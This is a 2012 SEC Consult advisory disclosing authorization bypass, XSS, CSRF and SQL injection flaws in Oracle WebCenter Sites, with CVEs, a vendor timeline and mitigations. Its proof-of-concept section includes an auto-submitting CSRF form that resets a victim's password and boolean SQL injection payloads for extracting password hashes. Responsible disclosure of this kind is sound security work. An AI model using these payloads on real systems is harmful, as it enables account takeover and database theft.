SEC Consult SA-20121017-2 :: Multiple vulnerabilities in Oracle WebCenter Sites (former FatWire Content Server) Oct 17 2012 10:45AM
SEC Consult Vulnerability Lab (research sec-consult com)
SEC Consult Vulnerability Lab Security Advisory < 20121017-2 >
title: Multiple vulnerabilities in Oracle WebCenter Sites
product: Oracle WebCenter Sites (former FatWire Content Server)
vulnerable version: 6.1, 6.2, 6.3.x, 7, 7.0.1, 7.0.2, 7.0.3, 7.5, 7.6.1,
fixed version: Patch information see sections below
CVE: CVE-2012-3183 (S0183794)
CVE-2012-3184 (S0183815)
CVE-2012-3185 (S0183827)
CVE-2012-3186 (S0183836)
impact: High
homepage: http://www.oracle.com/us/corporate/acquisitions/fatwire/index.html
found: 21.05.2012
by: F. Lukavsky
SEC Consult Vulnerability Lab

Vendor description:
FatWire Content Server is a predecessor product of Oracle WebCenter Sites.

FatWire Content Server is a software suite that allows you to create and
manage content to be published on your online site. The content is stored in
Content Server's database. You create and manipulate the content using Content
Server's interface, which provides a simple and intuitive way of accessing and
working with the CS database.

FatWire Content Server 7 - Advanced Interface User's Guide

Vulnerability overview/description:
1) Authorization Issues
The backend of the Content Server fails to validate authorization for
certain requests. This allows low privileged users manipulating data,
which they are not authorized to.

2) Cross-Site Scripting
The backend of the Content Server is prone to permanent and reflected
Cross-Site Scripting attacks. The vulnerability can be used to include
HTML- or JavaScript code to the affected web page. The code is executed
in the browser of users if they visit the manipulated site. The
vulnerability can be used to change the contents of the displayed site,
redirect to other sites or steal user credentials. Additionally, Portal
users are potential victims of browser exploits and JavaScript Trojans.

3) Cross-Site Request Forgery
An attacker can use Cross-Site Request Forgery to perform arbitrary web
requests with the identity of the victim without being noticed by the
victim. Although responses to these requests are not delivered to the
attacker, in many cases it is sufficient to be able to compromise the
integrity of the victim's information stored on the site or to perform
certain, possibly compromising requests to other sites.

4) SQL Injection
Due to insufficient input validation, the backend of FatWire Content
Server allows the injection of direct SQL commands. By exploiting the
vulnerability, an attacker gains access to all records stored in the
database with the privileges of database user CSAUTHORING.

Proof of concept:

1) In the user profile, users are given the possibility to change their email
address. By supplying arbitrary user names, a low privileged user can
change the email address of other users:

POST /cs/ContentServer HTTP/1.1

of the target user>&email=<new email
address>&selectedLocale=None&userid=userid%3D<own user

2) The display name of page elements are included unsanitized when viewing
the element's details. Creating a new image with the following manipulated
parameter demonstrates this issue:

Content-Disposition: form-data; name="flexassets:name"


Additionally, users can change their email address in the user profile
management. The email address is included unsanitized when viewing a
manipulated profile. Furthermore, by combining this issue with the attack
described in vulnerability (1), the Cross-Site Scripting payload can be
embedded in the user profile of arbitrary users. The following request
demonstrates this issue:

POST /cs/ContentServer HTTP/1.1

of the target user>&email=<manipulated email
Many parameters are included unsanitized in error messages, which
leads to reflected Cross-Site Scripting vulnerabilities:

These examples raise no claims of being complete.

3) A low privileged user can view all available users and their user ids
when creating a workflow report. When the target user submits the
following form while being logged in, an attacker can change the
password of the target user to an arbitrary value:

<body onload="document.forms[0].submit()">
<form action="http://fatwire/cs/ContentServer" method="POST">
<input type="hidden" name="_charset_" value="UTF-8" />
<input type="hidden" name="cs_environment"
value="standard" /> <input type="hidden" name="cs_formmode" value="WCM" />
<input type="hidden" name="username" value="<target user>" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="selectedLocale" value="None" />
<input type="hidden" name="userid"
value="userid=<target user id>,ou=People" />
<input type="hidden" name="modifyPassword" value="on" />
<input type="hidden" name="manageprofile" value="true" />
<input type="hidden" name="password" value="<new
password>" /> <input type="hidden" name="password2" value="<new password>" />
<input type="hidden" name="pagename"
value="OpenMarket/Xcelerate/Admin/UserProfilePost" />
<input type="hidden" name="action" value="edit" />

4) The parameter selectedLocale of the user profile management form is
vulnerable to a SQL Injection vulnerability. The following true comparison
added to the SQL query results in the locale preference to be set to
English (United States):

POST /cs/ContentServer HTTP/1.1

ail=mail (at) example (dot) com [email concealed]&selectedLocale=None'+or+1%3d1--+&userid=userid%
The following request with a false comparison being added to the SQL query
results in the locale preference to be set to no preference:

POST /cs/ContentServer HTTP/1.1

ail=mail (at) example (dot) com [email concealed]&selectedLocale=None'+or+1%3d2--+&userid=userid%

Observing these differences, arbitrary data of the database can be
extracted bitwise. This includes for example the password hashes of other
Content Server users.

Vulnerable / tested versions:
The following installation has been tested: FatWire Content Server 7.6.1
Hotfix 4

The following versions have been supplied by Oracle and are vulnerable too:
6.1, 6.2, 6.3.x, 7, 7.0.1, 7.0.2, 7.0.3, 7.5, 7.6.1, 7.6.2,

Vendor contact timeline:
2012-06-04: Contacting vendor through secalert_us (at) oracle (dot) com [email concealed]
2012-06-07: Initial vendor response - issues will be verified
2012-06-21: Under investigation / Being fixed in main codeline
2012-07-24: Issue fixed in main codeline, scheduled for a future CPU
2012-10-15: Oracle: Advisory and patches will be released on 2012-10-16
2012-10-16: Oracle releases October 2012 CPU
2012-10-17: Public release of SEC Consult advisory

Apply latest patches, see:


Restrict access to the backend of the FatWire Content Server.
Do not visit untrusted sites while being logged into the backend of the
FatWire Content Server.
Keep the time being logged in as short as possible and do not activate
the option to stay logged into the backend of the FatWire Content Server.

Advisory URL:

SEC Consult Unternehmensberatung GmbH

Office Vienna
Mooslackengasse 17
A-1190 Vienna

Tel.: +43 / 1 / 890 30 43 - 0
Fax.: +43 / 1 / 890 30 43 - 25
Mail: research at sec-consult dot com

EOF F. Lukavsky / @2012

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